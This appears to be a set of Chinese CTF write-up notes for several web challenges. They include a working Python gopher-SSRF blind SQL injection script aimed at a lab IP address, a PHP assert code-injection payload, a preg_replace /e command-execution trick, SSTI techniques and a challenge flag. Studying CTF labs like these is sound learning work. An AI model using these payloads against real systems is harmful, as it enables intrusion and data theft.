shrine
直接给出了源代码
格式化一下就是这样的
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
访问这个路径就是SSTI,代码里面说了过滤了()并且有个黑名单
这个 return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
就是将{% set config=None%}{% set self=None%}放到前面再拼接我输入的数据
app.config['FLAG'] = os.environ.pop('FLAG')
是取出环境变量的值然后赋予一个实例化的app中的flag,所以说这题我们可以从环境变量中找,之前也做过一个python的也是从堆栈中找。。。
在网上找相关资料发现{{ config.SQLALCHEMY_DATABASE_URI }}
如果没有过滤先设置config为none说不定就是用这个得到的
因为过滤了()基本不可能实现常用的执行命令注入方式了。只有一些让人想不到的方式或者flask特有的很少人知道的方式
太晚了不饶了,看了wp就睡觉
看了wp我就放心了,果然不是绕过而是考flask特有的方式
url_for.globals获取全局命名空间
然后借此拿到app然后点config就可以拿到了
还有一种方式使用get_flashed_messages.globals得到全局命名空间
遇到了就要记住!!!
very_easy_sql
在输入框尝试发现没有一点提示,用sqlmap跑也是没有反应,看来过滤了相当多的东西,只能找点其他的思路,首先继续信息收集,跑一跑目录,看一看页面代码,果然有点小提示
看到有个这个东西
这个框就是一个很经典的SSRF,但是我很少遇到过这种东西,首先我在这里面输入www.baidu.com 没有反应了,然后搞了个dnslog的网址去试,发现啥反应都没有。。。。,我看到有curl还以为和这个curl有啥关系。。。最后我直接输入我的云IP地址终于有反应了,把index文件返回了。。
可以确定是SSRF了,但是之前我加http://发现有回显nonono估计又是过滤了什么东西
不知道了,但是我猜是有什么办法拿到源码看过滤规则或者说是进行代码审计才能到sql注入那边搞,但是怎么搞确实没什么思路
没想到原来是要和CRLF有关,这个漏洞没什么用一般都不会挖这种漏洞的。。。没想到这里要配合
另外SSRF这里用的是gopher协议,gopher协议可以携带一个重新构造的请求数据包发送出去,可以是get也可以是post,我在这里输入了URl地址后后面就接不了其他的东西了,用这个协议就可以解决了。
实际由靶机帮我们发送这个sql注入的数据包(SSRF一般就是用来做内网探测的,它实现的原因就是比如这里我们输入了一个URl是由这个靶机去带特么访问的然后把结果再返回,想代理一样的意思,我们前面添加上了这个gopher协议所以他去请求这个URl的时候会以post的方式请求这个URL而下面携带的post数据中就是我们的上去了注入的那个请求头,就是实现了靶机代替我们访问这个SQL注入的页面),另外我看wp有说到CRLF,我思索了好久,算了,我脑子有点晕,我没明白的是CRLF的作用应该是通过输入的值会卡到响应包中间去,客户端会收到这个你自己设置的响应包中的这个字段。但是这里的payload每一行都有这个回车换行是干什么的,到底是直接通过gopher协议发送成功了这个访问SQL注入页面的请求,还是先访问了这个127.0.0.1:80然后带着卡进来的账号密码重定向到SQL注入的页面(因为CRLF不就是会回显到响应包吗,我使用的wp的payload我看到有一个302的重定向的数据包,但是没有看到这个响应包中有携带的账号密码的请求字段),所以如果不是使用的重定向那么就说明是gopher协议直接携带者请求信息请求了index.php
其实看了gopher协议和这个回显包我知道估计就是他直接post请求发出去了,没有重定向是我想多了。这里根本没有CRLF漏洞,其实应该这样说通过回车换行符来实现gopher协议携带请求头字段的信息。
这里网上基本用的同一个脚本去测试的,都是用盲注跑出来的,其实报错注入应该也可以就是要修改内容长度很麻烦。。。还不如直接用网上的脚本
import urllib.parse
import requests
import time
import base64
url = "http://61.147.171.105:53919/use.php?url=" #修改URl
flag = ""
for pos in range(1, 50):
for i in range(33, 127):
# poc="') union select 1,2,if(1=1,sleep(5),1) # "
# security
# poc="') union select 1,2,if(ascii( substr((database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
# flag
# poc="') union select 1,2,if(ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
poc = "') union select 1,2,if(ascii( substr((select * from flag)," + str(pos) + ",1) )=" + str(
i) + ",sleep(2),1) # "
bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
final_poc = "gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D" + bs + "%3B%250d%250a"
t1 = time.time()
res = requests.get(url + final_poc)
t2 = time.time()
if (t2 - t1 > 2):
flag += chr(i)
print(flag)
break
print(flag)
cyberpeace{12d646912ae9fff044eb6217ee6f8b62}
挺难的说实话。
fakebook
这题我好像做过,不记得是这题不,但是好像是这种页面,也是一个博客的页面,先注册一个账号,然后点进一个账号,到一个主页get参数有个no=1,尝试sql注入一下,成功报错了,先进行sql注入拿到一些信息
然后又尝试了几下是数字型注入
使用order by 判断4列查询列
使用union select 的时候发现有过滤
拿出我前几天才写好的绕过笔记,随便就绕过了
首先回显位是2,然后有个地方很有疑点就是上面那个unserialize()反序列化函数,估计这里还考到了这方面的知识
当前表:users
当前表中的列:no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
在data中有个奇怪的东西
此时没有进一步的做题思路,要做的就是继续信息收集,其实本来是应该先做好信息收集工作的只是这里做题目有点懒不想做。。。
跑一下目录,可以看到有flag文件并且有个robots,去看看
很好,思路来了,下载下来看看
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
看到了代码思路应该是通过为协议吧flag文件读取出来,也就是blog是个伪协议,我想起来了,我当时做这道题这个blog填的是www.baidu.com然后他把主页源码也读取过来了。我这里没用www.baidu.com所以没显示出内容会让人一下摸不着头脑
然后这题是在第4位修改的,这里可以把数据传入,但是为啥是这个位置我也不是很清楚,然后把这里改为伪协议读取文件就可以了
这里用了data协议也是一个值得注意的地方
lottery
这个靶场莫名的很卡,好像是什么资源没加载出来
点进去到处翻了翻,太卡了真的很难受,可以创建一个user然后会有点初始的钱可以去买好他会随机出一个号码,然后没什么思路先扫一下目录,发现有git泄露,还有一些其他的文件
基本上把所有文件都扒下来了
拿到的文件很多说明要分析的代码可能也很多
先找到和flag有关的地方
分析了下代码,首先点击buy会跳到一个页面,他说如果有9990000就展示flag
对应的也就是market.php
这里buy按钮点击后会发送一个json数据给api.php文件来接受,同时会有一个action为flag
在api文件看看是干嘛的,先定义了一些函数,遇到第一个重点
$data = json_decode(file_get_contents('php://input'), true);
这个的意思是使用file_get_contents('php://input')来读取通过HTTP请求发送到服务器的数据,然后使用json_decode将这个字符串转换为一个关联数组。这意味着如果请求的主体内容是一个JSON对象,它将被转换为一个PHP数组,数组中的键将是字符串,而不是数字索引。
这里应该不是烤这个函数的,先往下看
然后检测一下有没有action这个键传入的数据中
然后就是一个case,如果键对应的是flag就是进入flag函数
function flag($req){
global $flag;
global $flag_price;
//先定义两个全局变量
require_registered(); //再检测一下是否注册了
$money = $_SESSION['money']; //获取会话中的money
if($money < $flag_price){ //$flag_price 在config文件中最先定义了为9990000
response_error('you don\' have enough money');
} else {
$money -= $flag_price; //这个操作会此时的钱减去9990000
$_SESSION['money'] = $money; //重新赋值一下
$msg = 'Here is your flag: ' . $flag; 并且输出flag,但是这里的flag任然是config中配置的flag,没有找到真正的flag
response(['status'=>'ok','msg'=>$msg, 'money'=>$money]);
}
}
感觉分析完这个代码好像是无法获取真实的flag,也没有看到哪里把config中的$flag重新赋值了,可以看到没有一个操作试赋值的,说明这个就是一个烟雾弹。。。
那么考点可能就回到了上面的input伪协议
但是找了一圈也没有发现有文件包含了这个伪协议的地方,OK止步于此看wp吧还是。。。
。。。。。。。看了源码,还是前面要获取到钱的地方,不过按照我上面的分析确实没有见到重新赋值flag的地方。。。这个疑问暂时还不知道怎么回事。。。虽然是全局变量但是确实这里只包含了config文件。。。主要是没有看到其他地方赋值的地方。。。
不管了先赚到9990000,buy函数这里存在若比较,只要前面的数组是true就一定会和后面的相等就绕过了
并且注意这里是数组的格式
可以看到点了几次就有很多钱了,本来像继续分析的被这个延时要逼疯了。。。拿flag走人了
easytornado
看到这名字就是SSTI注入的方向我猜
看了看好像没有这么简单,点进flag告诉了是哪个文件有flag,然后点welcome给出的是render也就是渲染的意思其实就是暗戳戳的提示SSTI ,再点开hints有一段提示md5(cookie_secret+md5(filename)),现在还不知道什么意思,但是看连接会发现每次访问都会携带一个filehash=,可能就是这个的加密方式,后端的验证应该是我们输入的这个filename和他的这个cookie一起加密后然后和我们输入的这个filehash比较如果相同才会返回东西
现在首要应该是如何绕过这个md5的限制
md5的绕过就两种数组绕过和0e绕过,找了一圈没有发现哪里可以绕过。。。render也没看到在哪里可以生效
这道题其实我做过,我记得第一次接触SSTI就是这道题。。。现在再做一遍还是需要点思路
然后我又跑了下dirsearch,跑出个msg,这个东西就是如果访问的有问题就会重定向到这个错误的页面,但是这个地方我还没有尝试过SSTI
找到注入点了
但是这个输入一些东西会ORZ感觉像是有过滤,不是这如果是过滤过滤的也太多了吧
无奈还是看wp,果然出题者不会让我们直接就使用SSTI注入,这里只能是一个拿到secret的环节
在tornado模板中,存在一些可以访问的快速对象,例如
{{ escape(handler.settings[“cookie”]) }}
这两个{{}}和这个字典对象也许大家就看出来了,没错就是这个handler.settings对象
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret
所以这里注入,就可以获取到全局变量cookie_secret ,只能说666666,不了解这个东西
学到了这种思路了,以后看到SSTI不一定只是为了构造出可以执行命令的动态属性访问方式,还要寻找每个框架特有的一些属性!!!
既然拿到了secret接下来就好办了
检验一下,和filehash的值是一致的
mfw
拿到这题先翻了翻页面,发现连接存在?page= 看这就是文件包含的感觉,然后尝试发现被过滤了,而且尝试了一些绕过手法也并没有绕过,然后看到那个翻的一个页面说自己搭建网站使用了什么说使用了git我估计可能存在git泄露,访问一下/.git/发现确实如此
然后用githack爬一下,源码就拿到手了
然后发现有个flag的文件,但是里面开并没有flag
其他的文件都没什么内容就这个index文件有点内容
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
require_once $file;
?>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
</body>
</html>
代码审计,这种看着好像没有办法的情况基本上是考的函数缺陷的问题,我知道strpos好像有点什么问题,然后去看这个函数的漏洞和这里没什么关系,然后再看assert函数就发现问题了,还有本题当例子讲的。。。
assert函数中传入的是php的东西就会执行,比如说这里是不是
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
他是不是就是执行了这个strpos('$file', '..')函数
他这里的思路就是使里面的这个strpos('$file', '..')拼接截断掉执行我们传入的函数
比如这里传入').phpinfo();//
strpos(' ').phpinfo();// ', '..') === false
strpos(' ')什么参数都没有返回空,然后点上phpinfo函数也会执行,后面的//相当于注释掉了后面的东西(我猜是这样的用法)
然后进入到第二个函数这里也是一样的
assert("file_exists('').phpinfo();//')")
也会把结果展示出来
然后使用var_dump()函数将system的函数执行结果返回回来
ics-05
一个小技巧遇到这种连接多的没必要全部点,在F12里面看源码搜索href看后门有没有跳转的链接,这里看了下除了index.php就没有其他的php文件了。然后同时扫一下目录
然后访问这个login的页面,有个云设备维护平台,点了一下发现连接是个?page=index,好家伙这闭着眼睛猜是文件包含,随便包含一下passwd果然出来了
把index.php取出来看一看
<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>
<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- 这里的 checked 的状态只是演示 -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;
table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
{ type: 'checkbox' },
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{ field: 'name', title: '设备名', templet: '#nameTpl' },
{ field: 'area', title: '区域' },
{ field: 'status', title: '维护状态', minWidth: 120, sort: true },
{ field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
//监听导航点击
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) { #防止使用input协议
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) { #想使用data协议的执行代码也被限制了
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
</body>
</html>
可以看到下面有一段什么内部人员使用的代码
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
添加请求头确实有回显这个句话
但是下面就一个使用preg_replace($pattern, $replacement, $subject); 不知道什么意思就一个匹配好像没什么用的样子,而且看这个代码给我一种不是很全的感觉。。。
看一看wp把还是确实不知道是靠哪里,难道是我看源码里面有一个input标签像是SSTI的感觉但是找了好像那个功能都删除了
看了wp发现竟然是这个正则匹配的和这个函数有漏洞。。。我是真没想到前面打了好多次靶场都没有听说过这个函数有什么漏洞,还是我太孤陋寡闻了
no我发现我竟然做了这个笔记之前。。。。。。。
看了网上的相关资料也没有搞太懂,这种问题只有两种情况就是中间那个替换字符串是否被固定,如果不固定就是本题的类型,固定了又有另一种解法
分析一下我们这题的这里
preg_replace('/test/e', system('ls'), test);
匹配到了主字符串也就是第三个参数有test存在就将第二个参数替换过去,但是因为这个/e会替换字符串作为php代码执行,这个第一个参数是正则的规则吗,这里如果填一些匹配的符号也有效果,具体怎么实现的我也不太清楚。。。。。。比如这里尝试.或者.*
他也会匹配到并且执行
这里能执行命令了拿到flag就简单了,这个奇怪的文件夹进去看看
simple_js
一进入就是一个弹窗要输入密码,打开网页源码查看一下发现js的加密代码就在里面。考点估计就是js逆向
<script type="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65"; #这一段就是错误显示的那个什么HAHA
var tab = pass_enc.split(','); #将输入的值通过逗号分割放入数组
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length; #我们传入的数组在这里只影响了j
k = j + (l) + (n=0); #j又赋予了k
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){ #这里我们的j和k都被n替代了所以没有影响
o = tab[i-l]; #这里赋予了一个o
p += String.fromCharCode((o = tab2[i])); #这里又把我们前面赋予的o覆盖了,也没有影响
if(i == 5)
break;
}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l]; #这里赋予了o
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i])); #这里的o又被覆盖了,所以在这个代码中我们输入的值对整个代码的运行一点关系都没有。。。
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) ); #这里就是接受传入的值然后就会调用这个函数
这个js代码也是研究了好一会,发现不是一个加密的算法,另外输入的值好像对这个函数没有一点影响。。。这就很奇怪
这个题目就是js也是先考虑js相关的东西,但是现在没啥思路了先看看wp
看完就是??????
搞半天就是下面那个东西,是我还不够ctf。。。我尼玛还在页面debug半天在想是不是要搞出有Cyberpeace的东西。。。
之前研究这个js的时候这两个东西就都分析过了
先把下面这个16进制解码一下
我还特意写了个脚本用来解码这个东西来着,但是看了感觉好像没什么用毕竟也还不是正确的密码以为是到时候用来去其中的某些东西的。。。
看了wp也不是没有学到,这个函数还可以直接把一整个ascii码值全部解码。。。